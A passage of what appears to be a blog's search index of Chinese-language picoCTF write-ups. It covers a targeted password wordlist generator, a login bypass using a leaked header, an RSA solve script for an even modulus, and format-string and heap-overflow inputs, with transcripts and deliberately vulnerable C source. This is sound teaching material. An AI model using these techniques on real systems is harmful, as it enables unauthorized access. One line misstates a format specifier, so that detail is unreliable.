style=\"color:#f92672\"\u003e[\u003c/span\u003eN\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; Do you want to add special chars at the end of words? Y/\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003eN\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; Do you want to add some random numbers at the end of words? Y/\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003eN\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; Leet mode? \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ei.e. leet \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e 1337\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e Y/\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003eN\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e+\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e Now making a dictionary...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e+\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e Sorting list and removing duplicates...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e+\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e Saving dictionary to alice.txt, counting \u003cspan style=\"color:#ae81ff\"\u003e10359\u003c/span\u003e words.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; Hyperspeed Print? \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eY/n\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e :\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e+\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e Now load your pistolero with alice.txt and shoot! Good luck!\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e以下是生成的密碼字典\u003cbr\u003e\n\u003ca href=\"./passwords.txt\"\u003e\u003ccode\u003epasswords.txt\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e","title":"Password Profiler"},{"content":"題目連結 https://learn.cylabacademy.org/library/520\n題目解法 在題目網站的原始碼中，有一行註解\n\u0026lt;!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre \u0026#34;K-Qri-Npprff: lrf\u0026#34; --\u0026gt; 使用 ROT 13 解碼後如下\n\u0026lt;!-- NOTE: Jack - temporary bypass: use header \u0026#34;X-Dev-Access: yes\u0026#34; --\u0026gt; 根據這行註解提示得知，在 header 中加上 X-Dev-Access: yes 就可以跨過驗證。\n我們開啟 burpsuite 來攔截修改請求，開啟 intercept，當輸入完帳密後，將請求中加上 X-Dev-Access: yes 後送出，回應中就能夠看到 flag。 ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/crack-the-gate-1/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/520\"\u003ehttps://learn.cylabacademy.org/library/520\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e在題目網站的原始碼中，有一行註解\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e\u0026lt;!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre \u0026#34;K-Qri-Npprff: lrf\u0026#34; --\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e使用 ROT 13 解碼後如下\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e\u0026lt;!-- NOTE: Jack - temporary bypass: use header \u0026#34;X-Dev-Access: yes\u0026#34; --\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e根據這行註解提示得知，在 header 中加上 \u003ccode\u003eX-Dev-Access: yes\u003c/code\u003e 就可以跨過驗證。\u003c/p\u003e\n\u003cp\u003e我們開啟 burpsuite 來攔截修改請求，開啟 intercept，當輸入完帳密後，將請求中加上 \u003ccode\u003eX-Dev-Access: yes\u003c/code\u003e 後送出，回應中就能夠看到 flag。\n\u003cimg alt=\"burpsuite 攔截請求\" loading=\"lazy\" src=\"/posts/web-exploitation/crack-the-gate-1/intercept.webp\"\u003e\n\u003cimg alt=\"回應結果\" loading=\"lazy\" src=\"/posts/web-exploitation/crack-the-gate-1/result.webp\"\u003e\u003c/p\u003e","title":"Crack the Gate 1"},{"content":"題目連結 https://learn.cylabacademy.org/library/470\n題目解法 使用 nc 連線後題目會提供 $N$, $e$（每次都不一樣）。在這題題目中的 $N$ 有明顯的漏洞，就是是 2 的倍數，代表其中一個質數一定是 $p = 2$。 解密步驟：\n計算出 $q$ $$q = \\frac{N}{2}$$\n計算出 $\\phi(n)$ $$\\phi(n) = \\phi(p) \\times \\phi(q) = (p-1) \\times (q-1) = (2-1) \\times (q-1) = q-1$$\n計算私鑰 $d$：\n使用模反元素（Modular Inverse）公式： $$d \\equiv e^{-1} \\pmod{\\phi(N)}$$\n解密密文 $C$： $$m = C^d \\pmod{N}$$\n轉換為文字：\n將得到的長整數 $m$ 轉回 bytes，再以 UTF-8 解碼。\n解題腳本 將 $N$, $e$, $cyphertext$ 填入執行即可。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import long_to_bytes, inverse # 已知資訊 N = 24363402644768690727955172666209469821725905198393631084455253811708663554350947264649402937037672246381690969915451279285279631133822103514599606304356602 e = 65537 cyphertext = 13597050467487786638619946148639439992899445404956336122073567173641265830288842478196554274484546393046984321139824087540835441687603028763464962383947497 # 1. 分解 N (因為 N 是偶數，所以其中一個質數是 2) p = 2 q = N // p # 2. 計算 phi(N) phi = (p - 1) * (q - 1) # 3. 計算私鑰 d d = inverse(e, phi) # 4. 解密 m_long = pow(cyphertext, d, N) # 5. 轉回字串 print(long_to_bytes(m_long).decode(\u0026#39;utf-8\u0026#39;)) 題目原始碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from sys import exit from Crypto.Util.number import bytes_to_long, inverse from setup import get_primes e = 65537 def gen_key(k): \u0026#34;\u0026#34;\u0026#34; Generates RSA key with k bits \u0026#34;\u0026#34;\u0026#34; p,q = get_primes(k//2) N = p*q d = inverse(e, (p-1)*(q-1)) return ((N,e), d) def encrypt(pubkey, m): N,e = pubkey return pow(bytes_to_long(m.encode(\u0026#39;utf-8\u0026#39;)), e, N) def main(flag): pubkey, _privkey = gen_key(1024) encrypted = encrypt(pubkey, flag) return (pubkey[0], encrypted) if __name__ == \u0026#34;__main__\u0026#34;: flag = open(\u0026#39;flag.txt\u0026#39;, \u0026#39;r\u0026#39;).read() flag = flag.strip() N, cypher = main(flag) print(\u0026#34;N:\u0026#34;, N) print(\u0026#34;e:\u0026#34;, e) print(\u0026#34;cyphertext:\u0026#34;, cypher) exit() ","permalink":"https://picoctf-writeup.pinjim.dev/posts/cryptography/even-rsa-can-be-broken/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/470\"\u003ehttps://learn.cylabacademy.org/library/470\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e使用 \u003ccode\u003enc\u003c/code\u003e 連線後題目會提供 $N$, $e$（每次都不一樣）。在這題題目中的 $N$ 有明顯的漏洞，就是是 2 的倍數，代表其中一個質數一定是 $p = 2$。\n解密步驟：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e計算出 $q$\n$$q = \\frac{N}{2}$$\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e計算出 $\\phi(n)$\n$$\\phi(n) = \\phi(p) \\times \\phi(q) = (p-1) \\times (q-1) = (2-1) \\times (q-1) = q-1$$\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e計算私鑰 $d$：\u003cbr\u003e\n使用模反元素（Modular Inverse）公式：\n$$d \\equiv e^{-1} \\pmod{\\phi(N)}$$\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e解密密文 $C$：\n$$m = C^d \\pmod{N}$$\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e轉換為文字：\u003cbr\u003e\n將得到的長整數 $m$ 轉回 bytes，再以 UTF-8 解碼。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"解題腳本\"\u003e解題腳本\u003c/h2\u003e\n\u003cp\u003e將 $N$, $e$, $cyphertext$ 填入執行即可。\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e Crypto.Util.number \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e long_to_bytes, inverse\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 已知資訊\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eN \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e24363402644768690727955172666209469821725905198393631084455253811708663554350947264649402937037672246381690969915451279285279631133822103514599606304356602\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ee \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e65537\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecyphertext \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e13597050467487786638619946148639439992899445404956336122073567173641265830288842478196554274484546393046984321139824087540835441687603028763464962383947497\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 1. 分解 N (因為 N 是偶數，所以其中一個質數是 2)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ep \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eq \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e N \u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 2. 計算 phi(N)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ephi \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (p \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e (q \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 3. 計算私鑰 d\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ed \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e inverse(e, phi)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 4. 解密\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003em_long \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e pow(cyphertext, d, N)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 5. 轉回字串\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint(long_to_bytes(m_long)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edecode(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;utf-8\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/p\u003e","title":"EVEN RSA CAN BE BROKEN???"},{"content":"題目連結 https://learn.cylabacademy.org/library/433\n題目解法 這題題目是有關於格式化字串攻擊 (Format String Attack)，要從選項中選出潛在風險的字串。\n第一題的三個字串中，Gr%114d_Cheese 包含 %ll。\n\u0026#34;Breakf@st_Burger\u0026#34;, \u0026#34;Gr%114d_Cheese\u0026#34;, \u0026#34;Bac0n_D3luxe\u0026#34; 第二題的三個字串中，Cla%sic_Che%s%steak 包含 %s。\nPe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak webshell:~$ nc mimas.picoctf.net 49550 Welcome to our newly-opened burger place Pico \u0026#39;n Patty! Can you help the picky customers find their favorite burger? Here comes the first customer Patrick who wants a giant bite. Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe Enter your recommendation: Gr%114d_Cheese Gr 4202954_Cheese Good job! Patrick is happy! Now can you serve the second customer? Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!) Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak Enter your recommendation: Cla%sic_Che%s%steak ClaCla%sic_Che%s%steakic_Che(null) picoCTF{7h3---------------------------------405} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/binary-exploitation/format-string-0/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/433\"\u003ehttps://learn.cylabacademy.org/library/433\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e這題題目是有關於\u003cstrong\u003e格式化字串攻擊 (Format String Attack)\u003c/strong\u003e，要從選項中選出潛在風險的字串。\u003cbr\u003e\n第一題的三個字串中，\u003ccode\u003eGr%114d_Cheese\u003c/code\u003e 包含 \u003ccode\u003e%ll\u003c/code\u003e。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e\u0026#34;Breakf@st_Burger\u0026#34;, \u0026#34;Gr%114d_Cheese\u0026#34;, \u0026#34;Bac0n_D3luxe\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e第二題的三個字串中，\u003ccode\u003eCla%sic_Che%s%steak\u003c/code\u003e 包含 \u003ccode\u003e%s\u003c/code\u003e。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ePe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak\n\u003c/code\u003e\u003c/pre\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ nc mimas.picoctf.net 49550\nWelcome to our newly-opened burger place Pico \u0026#39;n Patty! Can you help the picky customers find their favorite burger?\nHere comes the first customer Patrick who wants a giant bite.\nPlease choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe\nEnter your recommendation: Gr%114d_Cheese\nGr                                                                                                           4202954_Cheese\nGood job! Patrick is happy! Now can you serve the second customer?\nSponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)\nPlease choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak\nEnter your recommendation: Cla%sic_Che%s%steak\nClaCla%sic_Che%s%steakic_Che(null)\npicoCTF{7h3---------------------------------405}\n\u003c/code\u003e\u003c/pre\u003e","title":"format string 0"},{"content":"題目連結 https://learn.cylabacademy.org/library/438\n題目解法 分析原始碼可以在第 16 行看到當 safe_var 不等於 \u0026quot;bico\u0026quot; 時就能順利印出 flag。按下 1. Print Heap 會印出 Heap Data 的位址。\n使用 2. Write to buffer 可以將資料寫入上面的位址 (0x5aec6d8702b0)，上面與下面的位址相差 0x20，只要輸入的內容長度超過 32 位元就會造成 buffer overflow，會覆蓋掉 bico，之後使用 4. Print Flag 就會順利印出 flag 了。\nwebshell:~$ nc tethys.picoctf.net 50333 Welcome to heap0! I put my data on the heap so it should be safe from any tampering. Since my data isn\u0026#39;t on the stack I\u0026#39;ll even let you write whatever info you want to the heap, I already took care of using malloc for you. Heap State: +-------------+----------------+ [*] Address -\u0026gt; Heap Data +-------------+----------------+ [*] 0x6242e49372b0 -\u0026gt; pico +-------------+----------------+ [*] 0x6242e49372d0 -\u0026gt; bico +-------------+----------------+ 1. Print Heap: (print the current state of the heap) 2. Write to buffer: (write to your own personal block of data on the heap) 3. Print safe_var: (I\u0026#39;ll even let you look at my variable on the heap, I\u0026#39;m confident it can\u0026#39;t be modified) 4. Print Flag: (Try to print the flag, good luck) 5. Exit Enter your choice: 1 Heap State: +-------------+----------------+ [*] Address -\u0026gt; Heap Data +-------------+----------------+ [*] 0x6242e49372b0 -\u0026gt; pico +-------------+----------------+ [*] 0x6242e49372d0 -\u0026gt; bico +-------------+----------------+ 1. Print Heap: (print the current state of the heap) 2. Write to buffer: (write to your own personal block of data on the heap) 3. Print safe_var: (I\u0026#39;ll even let you look at my variable on the heap, I\u0026#39;m confident it can\u0026#39;t be modified) 4. Print Flag: (Try to print the flag, good luck) 5. Exit Enter your choice: 2 Data for buffer: 00000000000000000000000000000000overflow 1. Print Heap: (print the current state of the heap) 2. Write to buffer: (write to your own personal block of data on the heap) 3. Print safe_var: (I\u0026#39;ll even let you look at my variable on the heap, I\u0026#39;m confident it can\u0026#39;t be modified) 4. Print Flag: (Try to print the flag, good luck) 5. Exit Enter your choice: 1 Heap State: +-------------+----------------+ [*] Address -\u0026gt; Heap Data +-------------+----------------+ [*] 0x6242e49372b0 -\u0026gt; 00000000000000000000000000000000overflow +-------------+----------------+ [*] 0x6242e49372d0 -\u0026gt; overflow +-------------+----------------+ 1. Print Heap: (print the current state of the heap) 2. Write to buffer: (write to your own personal block of data on the heap) 3. Print safe_var: (I\u0026#39;ll even let you look at my variable on the heap, I\u0026#39;m confident it can\u0026#39;t be modified) 4. Print Flag: (Try to print the flag, good luck) 5. Exit Enter your choice: 3 Take a look at my variable: safe_var = overflow 1. Print Heap: (print the current state of the heap) 2. Write to buffer: (write to your own personal block of data on the heap) 3. Print safe_var: (I\u0026#39;ll even let you look at my variable on the heap, I\u0026#39;m confident it can\u0026#39;t be modified) 4. Print Flag: (Try to print the flag, good luck) 5. Exit Enter your choice: 4 YOU WIN picoCTF{my_-------------------------1a6} 題目原始碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #define FLAGSIZE_MAX 64 // amount of memory allocated for input_data #define INPUT_DATA_SIZE 5 // amount of memory allocated for safe_var #define SAFE_VAR_SIZE 5 int num_allocs; char *safe_var; char *input_data; void check_win() { if (strcmp(safe_var, \u0026#34;bico\u0026#34;) != 0) { printf(\u0026#34;\\nYOU WIN\\n\u0026#34;); // Print flag char buf[FLAGSIZE_MAX]; FILE *fd = fopen(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;); fgets(buf, FLAGSIZE_MAX, fd); printf(\u0026#34;%s\\n\u0026#34;, buf); fflush(stdout); exit(0); } else { printf(\u0026#34;Looks like everything is still secure!\\n\u0026#34;); printf(\u0026#34;\\nNo flage for you :(\\n\u0026#34;); fflush(stdout); } } void print_menu() { printf(\u0026#34;\\n1. Print Heap:\\t\\t(print the current state of the heap)\u0026#34; \u0026#34;\\n2. Write to buffer:\\t(write to your own personal block of data \u0026#34; \u0026#34;on the heap)\u0026#34; \u0026#34;\\n3. Print safe_var:\\t(I\u0026#39;ll even let you look at my variable on \u0026#34; \u0026#34;the heap, \u0026#34; \u0026#34;I\u0026#39;m confident it can\u0026#39;t be modified)\u0026#34; \u0026#34;\\n4. Print Flag:\\t\\t(Try to print the flag, good luck)\u0026#34; \u0026#34;\\n5. Exit\\n\\nEnter your choice: \u0026#34;); fflush(stdout); } void init() { printf(\u0026#34;\\nWelcome to heap0!\\n\u0026#34;); printf( \u0026#34;I put my data on the heap so it should be safe from any tampering.\\n\u0026#34;); printf(\u0026#34;Since my data isn\u0026#39;t on the stack I\u0026#39;ll even let you write whatever \u0026#34; \u0026#34;info you want to the heap, I already took care of using malloc for \u0026#34; \u0026#34;you.\\n\\n\u0026#34;); fflush(stdout); input_data = malloc(INPUT_DATA_SIZE); strncpy(input_data, \u0026#34;pico\u0026#34;, INPUT_DATA_SIZE); safe_var = malloc(SAFE_VAR_SIZE); strncpy(safe_var, \u0026#34;bico\u0026#34;, SAFE_VAR_SIZE); } void write_buffer() { printf(\u0026#34;Data for buffer: \u0026#34;); fflush(stdout); scanf(\u0026#34;%s\u0026#34;, input_data); } void print_heap() { printf(\u0026#34;Heap State:\\n\u0026#34;); printf(\u0026#34;+-------------+----------------+\\n\u0026#34;); printf(\u0026#34;[*] Address -\u0026gt; Heap Data \\n\u0026#34;); printf(\u0026#34;+-------------+----------------+\\n\u0026#34;); printf(\u0026#34;[*] %p -\u0026gt; %s\\n\u0026#34;, input_data, input_data); printf(\u0026#34;+-------------+----------------+\\n\u0026#34;); printf(\u0026#34;[*] %p -\u0026gt; %s\\n\u0026#34;, safe_var, safe_var); printf(\u0026#34;+-------------+----------------+\\n\u0026#34;); fflush(stdout); } int main(void) { // Setup init(); print_heap(); int choice; while (1) { print_menu(); int rval = scanf(\u0026#34;%d\u0026#34;, \u0026amp;choice); if (rval == EOF){ exit(0); } if (rval != 1) { //printf(\u0026#34;Invalid input. Please enter a valid choice.\\n\u0026#34;); //fflush(stdout); // Clear input buffer //while (getchar() != \u0026#39;\\n\u0026#39;); //continue; exit(0); } switch (choice) { case 1: // print heap print_heap(); break; case 2: write_buffer(); break; case 3: // print safe_var 